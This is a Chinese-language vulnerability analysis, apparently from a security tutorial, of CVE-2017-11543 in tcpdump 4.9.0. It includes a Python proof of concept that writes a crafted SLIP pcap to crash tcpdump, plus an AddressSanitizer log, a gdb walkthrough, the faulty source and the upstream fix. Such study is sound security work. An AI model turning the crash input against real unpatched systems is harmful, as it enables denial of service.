7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞

下载文件

漏洞描述

tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 sliplink_print 函数(位于 print-sl.c)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。

这个漏洞是发现者用 AFL 做 fuzz 时发现的。

漏洞复现

推荐使用的环境 备注
操作系统 Ubuntu 16.04 体系结构:32 位
调试器 gdb-peda 版本号:7.11.1
漏洞软件 tcpdump 版本号:4.9.0

为了编译 tcpdump,我们需要安装 dev 版本的 libpcap:

  1. $ sudo apt-get install libpcap-dev
  2. $ dpkg -l libpcap-dev
  3. Desired=Unknown/Install/Remove/Purge/Hold
  4. | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
  5. |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
  6. ||/ Name Version Architecture Description
  7. +++-===================-==============-==============-============================================
  8. ii libpcap-dev 1.7.4-2 all development library for libpcap (transitiona

下载安装有漏洞的 tcpdump 4.9.0:

  1. $ wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz
  2. $ tar zxvf tcpdump-4.9.0.tar.gz
  3. $ cd tcpdump-tcpdump-4.9.0/
  4. $ ./configure

执行 configure 会生成相应的 Makefile,然后 make install 就可以了,但是这里我们修改下 Makefile,给 gcc 加上参数 -fsanitize=address,以开启内存检测功能:

  1. CFLAGS = -g -O2 -fsanitize=address

最后:

  1. $ sudo make install
  2. $ tcpdump --version
  3. tcpdump version 4.9.0
  4. libpcap version 1.7.4

使用下面的 poc 即可成功地触发漏洞产生 Segment Fault:

  1. import os
  2. def sigsegv():
  3. buf = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  4. buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'"
  5. buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7"
  6. buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00"
  7. buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00"
  8. with open("slip-bad-direction.pcap", "wb") as f:
  9. f.write(buf)
  10. f.close()
  11. cmd = 'tcpdump -e -r slip-bad-direction.pcap'
  12. os.system(cmd)
  13. if __name__ == "__main__":
  14. sigsegv()
  1. $ python poc.py
  2. reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)
  3. ASAN:SIGSEGV
  4. =================================================================
  5. ==11084==ERROR: AddressSanitizer: SEGV on unknown address 0x08425c5c (pc 0x0815f697 bp 0x00000027 sp 0xbfae3ab0 T0)
  6. #0 0x815f696 in compressed_sl_print print-sl.c:253
  7. #1 0x815f696 in sliplink_print print-sl.c:166
  8. #2 0x815f696 in sl_if_print print-sl.c:77
  9. #3 0x8060ecf in pretty_print_packet print.c:339
  10. #4 0x8055328 in print_packet tcpdump.c:2501
  11. #5 0xb7203467 (/usr/lib/i386-linux-gnu/libpcap.so.0.8+0x1c467)
  12. #6 0xb71f40e2 in pcap_loop (/usr/lib/i386-linux-gnu/libpcap.so.0.8+0xd0e2)
  13. #7 0x8051218 in main tcpdump.c:2004
  14. #8 0xb7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
  15. #9 0x8054315 (/usr/local/sbin/tcpdump.4.9.0+0x8054315)
  16. AddressSanitizer can not provide additional info.
  17. SUMMARY: AddressSanitizer: SEGV print-sl.c:253 compressed_sl_print
  18. ==11084==ABORTING
  1. $ file slip-bad-direction.pcap
  2. slip-bad-direction.pcap: tcpdump capture file (little-endian) - version 2.4 (SLIP, capture length 262144)

漏洞分析

首先介绍一下 pcap 包的文件格式,文件头是这样一个结构体,总共 24 个字节:

  1. struct pcap_file_header {
  2. bpf_u_int32 magic;
  3. u_short version_major;
  4. u_short version_minor;
  5. bpf_int32 thiszone; /* gmt to local correction */
  6. bpf_u_int32 sigfigs; /* accuracy of timestamps */
  7. bpf_u_int32 snaplen; /* max length saved portion of each pkt */
  8. bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */
  9. };
  • magic:标识位:4 字节,这个标识位的值是 16 进制的 0xa1b2c3d4
  • major:主版本号:2 字节,默认值为 0x2
  • minor:副版本号:2 字节,默认值为 0x04
  • thiszone:区域时间:4 字节,实际上并未使用,因此被设置为 0
  • sigfigs:精确时间戳:4 字节,实际上并未使用,因此被设置为 0
  • snaplen:数据包最大长度:4 字节,该值设置所抓获的数据包的最大长度
  • linktype:链路层类型:4 字节,数据包的链路层包头决定了链路层的类型

接下来是数据包头,总共 16 个字节:

  1. struct pcap_pkthdr {
  2. struct timeval ts; /* time stamp */
  3. bpf_u_int32 caplen; /* length of portion present */
  4. bpf_u_int32 len; /* length this packet (off wire) */
  5. };
  6. struct timeval {
  7. long tv_sec; /* seconds (XXX should be time_t) */
  8. suseconds_t tv_usec; /* and microseconds */
  9. };
  • ts:时间戳:8 字节,4字节表示秒数,4字节表示微秒数
  • caplen:当前数据区长度:4 字节,表示所抓获的数据包保存在 pcap 文件中的实际长度
  • len:离线数据长度:4 字节,如果文件中保存的不是完整数据包,可能比 caplen 大

我们从 tcpdump 的测试集中找到这样一个测试用例,整个包是这样的:

  1. $ xxd -g1 slip-bad-direction.pcap
  2. 00000000: d4 c3 b2 a1 02 00 04 00 00 00 00 00 00 00 00 00 ................
  3. 00000010: 00 00 04 00 08 00 00 00 f6 b5 a5 58 f8 bd 07 00 ...........X....
  4. 00000020: 27 00 00 00 36 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 '...6...........
  5. 00000030: e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 ca 00 ................
  6. 00000040: 00 52 54 00 12 35 02 08 00 27 bd c8 2e 08 00 .RT..5...'.....

所以其链路层类型为 08,即 SLIP(Serial Line Internet Protocol)。通常一个 SLIP 的包结构如下:

  1. +-------------------------+
  2. | Direction |
  3. | (1 Octet) |
  4. +-------------------------+
  5. | Packet type |
  6. | (1 Octet) |
  7. +-------------------------+
  8. | Compression information |
  9. | (14 Octets) |
  10. +-------------------------+
  11. | Payload |
  12. . .
  13. . .
  14. . .
  • direction 字段指示发送或接收
    • 0:表示本机接收的包
    • 1:表示本机发送的包

在这里 direction 是 0xe7,并且由于 packet type 被设置了,所以 payload 是一个压缩的 TCP/IP 包,它的 packet type 和 compression information 共同构成了压缩的 TCP/IP 数据报,其结构如下:

  1. +-------------------------------+ Byte
  2. | | C | I | P | S | A | W | U | 0
  3. +-------------------------------+
  4. | connection number | 1
  5. +-------------------------------+
  6. | TCP checksum | 2-3
  7. +-------------------------------+
  8. | data | 3-16
  9. . .
  10. . .
  11. . .

sliplink_print 函数处下断点:

  1. gdb-peda$ b sliplink_print
  2. gdb-peda$ r -e -r slip-bad-direction.pcap
  3. Starting program: /usr/local/sbin/tcpdump.4.9.0 -e -r slip-bad-direction.pcap
  4. [Thread debugging using libthread_db enabled]
  5. Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
  6. reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)
  7. [----------------------------------registers-----------------------------------]
  8. EAX: 0x1
  9. EBX: 0xe7e7e736
  10. ECX: 0x0
  11. EDX: 0xbfffdb94 --> 0x1
  12. ESI: 0xb65ba810 --> 0xe7e7e7e7
  13. EDI: 0xbfffdb90 --> 0x0
  14. EBP: 0x27 ("'")
  15. ESP: 0xbfffd760 --> 0xe7e7e726
  16. EIP: 0x815efc0 (<sl_if_print+304>: mov eax,DWORD PTR [esp+0x48])
  17. EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
  18. [-------------------------------------code-------------------------------------]
  19. 0x815efbc <sl_if_print+300>: pop ebp
  20. 0x815efbd <sl_if_print+301>: ret
  21. 0x815efbe <sl_if_print+302>: xchg ax,ax
  22. => 0x815efc0 <sl_if_print+304>: mov eax,DWORD PTR [esp+0x48]
  23. 0x815efc4 <sl_if_print+308>: mov edx,DWORD PTR [esp+0x48]
  24. 0x815efc8 <sl_if_print+312>: shr eax,0x3
  25. 0x815efcb <sl_if_print+315>: and edx,0x7
  26. 0x815efce <sl_if_print+318>: movzx eax,BYTE PTR [eax+0x20000000]
  27. [------------------------------------stack-------------------------------------]
  28. 0000| 0xbfffd760 --> 0xe7e7e726
  29. 0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7
  30. 0008| 0xbfffd768 --> 0x27 ("'")
  31. 0012| 0xbfffd76c --> 0xfbad2488
  32. 0016| 0xbfffd770 --> 0xb5803e68 --> 0x10
  33. 0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>: pop edx)
  34. 0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>: add ebx,0xbc0b5)
  35. 0028| 0xbfffd77c --> 0x80e6a200
  36. [------------------------------------------------------------------------------]
  37. Legend: code, data, rodata, value
  38. Breakpoint 1, sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c,
  39. p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./print-sl.c:77
  40. 77 sliplink_print(ndo, p, ip, length);
  41. gdb-peda$ x/10x 0xb65ba800
  42. 0xb65ba800: 0xe7e7e7e7 0xe7e7e7e7 0xe7e7e7e7 0xe7e7e7e7
  43. 0xb65ba810: 0xe7e7e7e7 0x00cae7e7 0x00545200 0x08023512
  44. 0xb65ba820: 0xc8bd2700 0xbe00082e

参数 p=0xb65ba800 位置处存放着从 pcap 中解析出来的 data,总共 39 个字节。

然后语句 dir = p[SLX_DIR] 从 data 中取出第一个字节作为 dir,即 0xe7

  1. [----------------------------------registers-----------------------------------]
  2. EAX: 0xe7
  3. EBX: 0xe7e7e736
  4. ECX: 0x0
  5. EDX: 0x0
  6. ESI: 0xb65ba810 --> 0xe7e7e7e7
  7. EDI: 0xbfffdb90 --> 0x0
  8. EBP: 0x27 ("'")
  9. ESP: 0xbfffd760 --> 0xe7e7e726
  10. EIP: 0x815efe8 (<sl_if_print+344>: mov DWORD PTR [esp+0x4],eax)
  11. EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
  12. [-------------------------------------code-------------------------------------]
  13. 0x815efdb <sl_if_print+331>: jne 0x815f3c6 <sl_if_print+1334>
  14. 0x815efe1 <sl_if_print+337>: mov eax,DWORD PTR [esp+0x48]
  15. 0x815efe5 <sl_if_print+341>: movzx eax,BYTE PTR [eax]
  16. => 0x815efe8 <sl_if_print+344>: mov DWORD PTR [esp+0x4],eax
  17. 0x815efec <sl_if_print+348>: lea eax,[edi+0x74]
  18. 0x815efef <sl_if_print+351>: mov ecx,eax
  19. 0x815eff1 <sl_if_print+353>: mov DWORD PTR [esp+0x8],eax
  20. 0x815eff5 <sl_if_print+357>: shr eax,0x3
  21. [------------------------------------stack-------------------------------------]
  22. 0000| 0xbfffd760 --> 0xe7e7e726
  23. 0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7
  24. 0008| 0xbfffd768 --> 0x27 ("'")
  25. 0012| 0xbfffd76c --> 0xfbad2488
  26. 0016| 0xbfffd770 --> 0xb5803e68 --> 0x10
  27. 0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>: pop edx)
  28. 0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>: add ebx,0xbc0b5)
  29. 0028| 0xbfffd77c --> 0x80e6a200
  30. [------------------------------------------------------------------------------]
  31. Legend: code, data, rodata, value
  32. 0x0815efe8 133 dir = p[SLX_DIR];

然后程序将 dir==0xe7SLIPDIR_IN==0 作比较,肯定不相等,于是错误地把 dir 当成 SLIPDIR_OUT==1 处理了:

  1. [----------------------------------registers-----------------------------------]
  2. EAX: 0x8237280 --> 0x204f ('O ')
  3. EBX: 0xe7e7e736
  4. ECX: 0xe7
  5. EDX: 0x8237280 --> 0x204f ('O ')
  6. ESI: 0xb65ba810 --> 0xe7e7e7e7
  7. EDI: 0xbfffdb90 --> 0x0
  8. EBP: 0x27 ("'")
  9. ESP: 0xbfffd750 --> 0xbfffdb90 --> 0x0
  10. EIP: 0x815f02b (<sl_if_print+411>: call DWORD PTR [edi+0x74])
  11. EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
  12. [-------------------------------------code-------------------------------------]
  13. 0x815f026 <sl_if_print+406>: sub esp,0x8
  14. 0x815f029 <sl_if_print+409>: push eax
  15. 0x815f02a <sl_if_print+410>: push edi
  16. => 0x815f02b <sl_if_print+411>: call DWORD PTR [edi+0x74]
  17. 0x815f02e <sl_if_print+414>: lea edx,[edi+0x10]
  18. 0x815f031 <sl_if_print+417>: add esp,0x10
  19. 0x815f034 <sl_if_print+420>: mov eax,edx
  20. 0x815f036 <sl_if_print+422>: shr eax,0x3
  21. Guessed arguments:
  22. arg[0]: 0xbfffdb90 --> 0x0
  23. arg[1]: 0x8237280 --> 0x204f ('O ')
  24. [------------------------------------stack-------------------------------------]
  25. 0000| 0xbfffd750 --> 0xbfffdb90 --> 0x0
  26. 0004| 0xbfffd754 --> 0x8237280 --> 0x204f ('O ')
  27. 0008| 0xbfffd758 --> 0x0
  28. 0012| 0xbfffd75c --> 0x0
  29. 0016| 0xbfffd760 --> 0xe7e7e726
  30. 0020| 0xbfffd764 --> 0xe7
  31. 0024| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (<ndo_printf>: mov eax,0x8330fa4)
  32. 0028| 0xbfffd76c --> 0xfbad2488
  33. [------------------------------------------------------------------------------]
  34. Legend: code, data, rodata, value
  35. 0x0815f02b 134 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));

继续往下执行,终于在执行到语句 lastlen[dir][lastconn] = length - (hlen << 2); 的时候挂掉了,它访问了一个不合法的地址:

  1. Program received signal SIGSEGV, Segmentation fault.
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xe7e7
  4. EBX: 0xe7e7e6de
  5. ECX: 0xbfffdc04 --> 0x8060b00 (<ndo_printf>: mov eax,0x8330fa4)
  6. EDX: 0xe7
  7. ESI: 0xb65ba810 --> 0xe7e7e7e7
  8. EDI: 0xbfffdb90 --> 0x0
  9. EBP: 0x27 ("'")
  10. ESP: 0xbfffd760 --> 0xe7e7e726
  11. EIP: 0x815f697 (<sl_if_print+2055>: mov DWORD PTR [eax*4+0x83ebcc0],ebx)
  12. EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x815f68e <sl_if_print+2046>: mov ebx,DWORD PTR [esp+0x14]
  15. 0x815f692 <sl_if_print+2050>: shl eax,0x8
  16. 0x815f695 <sl_if_print+2053>: add eax,edx
  17. => 0x815f697 <sl_if_print+2055>: mov DWORD PTR [eax*4+0x83ebcc0],ebx
  18. 0x815f69e <sl_if_print+2062>: mov eax,ecx
  19. 0x815f6a0 <sl_if_print+2064>: shr eax,0x3
  20. 0x815f6a3 <sl_if_print+2067>: movzx edx,BYTE PTR [eax+0x20000000]
  21. 0x815f6aa <sl_if_print+2074>: mov eax,ecx
  22. [------------------------------------stack-------------------------------------]
  23. 0000| 0xbfffd760 --> 0xe7e7e726
  24. 0004| 0xbfffd764 --> 0xe7
  25. 0008| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (<ndo_printf>: mov eax,0x8330fa4)
  26. 0012| 0xbfffd76c --> 0xb65ba801 --> 0xe7e7e7e7
  27. 0016| 0xbfffd770 --> 0xb65ba809 --> 0xe7e7e7e7
  28. 0020| 0xbfffd774 --> 0xe7e7e6de
  29. 0024| 0xbfffd778 --> 0xb795af00 (<__realpath_chk>: push ebx)
  30. 0028| 0xbfffd77c --> 0x80e6a200
  31. [------------------------------------------------------------------------------]
  32. Legend: code, data, rodata, value
  33. Stopped reason: SIGSEGV
  34. 0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810,
  35. chdr=0xb65ba801 '\347' <repeats 21 times>, <incomplete sequence \312>, ndo=0xbfffdb90)
  36. at ./print-sl.c:253
  37. 253 lastlen[dir][lastconn] = length - (hlen << 2);
  38. gdb-peda$ x/x $eax*4+0x83ebcc0
  39. 0x8425c5c: Cannot access memory at address 0x8425c5c

说一下 compressed_sl_print 的参数:

  • dir=0xe7 是 direction
  • length=0xe7e7e726 是长度,由包头的 len 计算得到
  • ip=0xb65ba810 指向 data
  • chdr=0xb65ba801 指向压缩的 TCP/IP 头
  • ndo=0xbfffdb90 是其他一些选项

lastlen[dir][lastconn] = length - (hlen << 2); 语句中:

  • lastlen:被定义为 static u_int lastlen[2][256];
  • hlen 是未压缩的 TCP/IP 头的长度
  • length - hlen 是 data 的总数

于是这里传入的 dir==0xe7,超出了 lastlen 定义的范围,发生错误。

回溯一下栈调用情况:

  1. gdb-peda$ bt
  2. #0 0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810,
  3. chdr=0xb65ba801 '\347' <repeats 21 times>, <incomplete sequence \312>, ndo=0xbfffdb90)
  4. at ./print-sl.c:253
  5. #1 sliplink_print (length=0xe7e7e726, ip=0xb65ba810,
  6. p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>, ndo=0xbfffdb90) at ./print-sl.c:166
  7. #2 sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c,
  8. p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./print-sl.c:77
  9. #3 0x08060ed0 in pretty_print_packet (ndo=0xbfffdb90, h=0xbfffd82c,
  10. sp=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>, packets_captured=0x1)
  11. at ./print.c:339
  12. #4 0x08055329 in print_packet (user=0xbfffdb90 "", h=0xbfffd82c,
  13. sp=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./tcpdump.c:2501
  14. #5 0xb7a37468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
  15. #6 0xb7a280e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
  16. #7 0x08051219 in main (argc=0x4, argv=0xbfffef74) at ./tcpdump.c:2004
  17. #8 0xb787d637 in __libc_start_main (main=0x804f8f0 <main>, argc=0x4, argv=0xbfffef74,
  18. init=0x818a160 <__libc_csu_init>, fini=0x818a1c0 <__libc_csu_fini>, rtld_fini=0xb7fea8a0 <_dl_fini>,
  19. stack_end=0xbfffef6c) at ../csu/libc-start.c:291
  20. #9 0x08054316 in _start ()

问题发生的原因是 sliplink_print 函数的 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O ")); 没有考虑到 dir 既不是 0 也不是 1 的情况,错误地把它当做一个发送的数据包处理,然后调用了 compressed_sl_print 函数,导致非法内存地址访问。

漏洞程序代码如下:

  1. #define SLX_DIR 0
  2. #define SLX_CHDR 1
  3. #define CHDR_LEN 15
  4. #define SLIPDIR_IN 0
  5. #define SLIPDIR_OUT 1
  6. static u_int lastlen[2][256];
  7. static void
  8. sliplink_print(netdissect_options *ndo,
  9. register const u_char *p, register const struct ip *ip,
  10. register u_int length)
  11. {
  12. int dir;
  13. u_int hlen;
  14. dir = p[SLX_DIR];
  15. ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
  16. if (ndo->ndo_nflag) {
  17. /* XXX just dump the header */
  18. register int i;
  19. for (i = SLX_CHDR; i < SLX_CHDR + CHDR_LEN - 1; ++i)
  20. ND_PRINT((ndo, "%02x.", p[i]));
  21. ND_PRINT((ndo, "%02x: ", p[SLX_CHDR + CHDR_LEN - 1]));
  22. return;
  23. }
  24. switch (p[SLX_CHDR] & 0xf0) {
  25. case TYPE_IP:
  26. ND_PRINT((ndo, "ip %d: ", length + SLIP_HDRLEN));
  27. break;
  28. case TYPE_UNCOMPRESSED_TCP:
  29. /*
  30. * The connection id is stored in the IP protocol field.
  31. * Get it from the link layer since sl_uncompress_tcp()
  32. * has restored the IP header copy to IPPROTO_TCP.
  33. */
  34. lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
  35. hlen = IP_HL(ip);
  36. hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
  37. lastlen[dir][lastconn] = length - (hlen << 2);
  38. ND_PRINT((ndo, "utcp %d: ", lastconn));
  39. break;
  40. default:
  41. if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
  42. compressed_sl_print(ndo, &p[SLX_CHDR], ip,
  43. length, dir);
  44. ND_PRINT((ndo, ": "));
  45. } else
  46. ND_PRINT((ndo, "slip-%d!: ", p[SLX_CHDR]));
  47. }
  48. }
  49. static void
  50. compressed_sl_print(netdissect_options *ndo,
  51. const u_char *chdr, const struct ip *ip,
  52. u_int length, int dir)
  53. {
  54. register const u_char *cp = chdr;
  55. register u_int flags, hlen;
  56. flags = *cp++;
  57. if (flags & NEW_C) {
  58. lastconn = *cp++;
  59. ND_PRINT((ndo, "ctcp %d", lastconn));
  60. } else
  61. ND_PRINT((ndo, "ctcp *"));
  62. /* skip tcp checksum */
  63. cp += 2;
  64. switch (flags & SPECIALS_MASK) {
  65. case SPECIAL_I:
  66. ND_PRINT((ndo, " *SA+%d", lastlen[dir][lastconn]));
  67. break;
  68. case SPECIAL_D:
  69. ND_PRINT((ndo, " *S+%d", lastlen[dir][lastconn]));
  70. break;
  71. default:
  72. if (flags & NEW_U)
  73. cp = print_sl_change(ndo, "U=", cp);
  74. if (flags & NEW_W)
  75. cp = print_sl_winchange(ndo, cp);
  76. if (flags & NEW_A)
  77. cp = print_sl_change(ndo, "A+", cp);
  78. if (flags & NEW_S)
  79. cp = print_sl_change(ndo, "S+", cp);
  80. break;
  81. }
  82. if (flags & NEW_I)
  83. cp = print_sl_change(ndo, "I+", cp);
  84. /*
  85. * 'hlen' is the length of the uncompressed TCP/IP header (in words).
  86. * 'cp - chdr' is the length of the compressed header.
  87. * 'length - hlen' is the amount of data in the packet.
  88. */
  89. hlen = IP_HL(ip);
  90. hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]);
  91. lastlen[dir][lastconn] = length - (hlen << 2);
  92. ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr)));
  93. }

漏洞修复

在最新的 tcpdump 中已经修复了该漏洞,当发现 direction 是错误的值时,直接返回:

  1. $ tcpdump --version
  2. tcpdump version 4.9.2
  3. libpcap version 1.7.4
  4. Compiled with AddressSanitizer/GCC.
  1. $ tcpdump -e -r slip-bad-direction.pcap
  2. reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)
  3. 22:23:50.507384 Invalid direction 231 ip v14

具体代码的修改如下所示,文件 print-sl.c 用于打印 CSLIP(Compressed Serial Line Internet Protocol),即压缩的 SLIP:

  1. $ git diff 09b1185 378ac56 print-sl.c
  2. diff --git a/print-sl.c b/print-sl.c
  3. index 3fd7e898..a02077b3 100644
  4. --- a/print-sl.c
  5. +++ b/print-sl.c
  6. @@ -131,8 +131,21 @@ sliplink_print(netdissect_options *ndo,
  7. u_int hlen;
  8. dir = p[SLX_DIR]; // 在这个例子中 dir = 231 = 0xe7
  9. - ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
  10. + switch (dir) {
  11. + case SLIPDIR_IN:
  12. + ND_PRINT((ndo, "I "));
  13. + break;
  14. +
  15. + case SLIPDIR_OUT:
  16. + ND_PRINT((ndo, "O "));
  17. + break;
  18. +
  19. + default: // 当 dir 不能匹配时的默认操作,将其赋值为 -1
  20. + ND_PRINT((ndo, "Invalid direction %d ", dir));
  21. + dir = -1;
  22. + break;
  23. + }
  24. if (ndo->ndo_nflag) {
  25. /* XXX just dump the header */
  26. register int i;
  27. @@ -155,13 +168,21 @@ sliplink_print(netdissect_options *ndo,
  28. * has restored the IP header copy to IPPROTO_TCP.
  29. */
  30. lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
  31. + ND_PRINT((ndo, "utcp %d: ", lastconn));
  32. + if (dir == -1) { // 在存取操作前检查 dir 的值
  33. + /* Direction is bogus, don't use it */
  34. + return;
  35. + }
  36. hlen = IP_HL(ip);
  37. hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
  38. lastlen[dir][lastconn] = length - (hlen << 2);
  39. - ND_PRINT((ndo, "utcp %d: ", lastconn));
  40. break;
  41. default:
  42. + if (dir == -1) { // 在存取操作前检查 dir 的值
  43. + /* Direction is bogus, don't use it */
  44. + return;
  45. + }
  46. if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
  47. compressed_sl_print(ndo, &p[SLX_CHDR], ip,
  48. length, dir);

commit:CVE-2017-11543/Make sure the SLIP direction octet is valid.

参考资料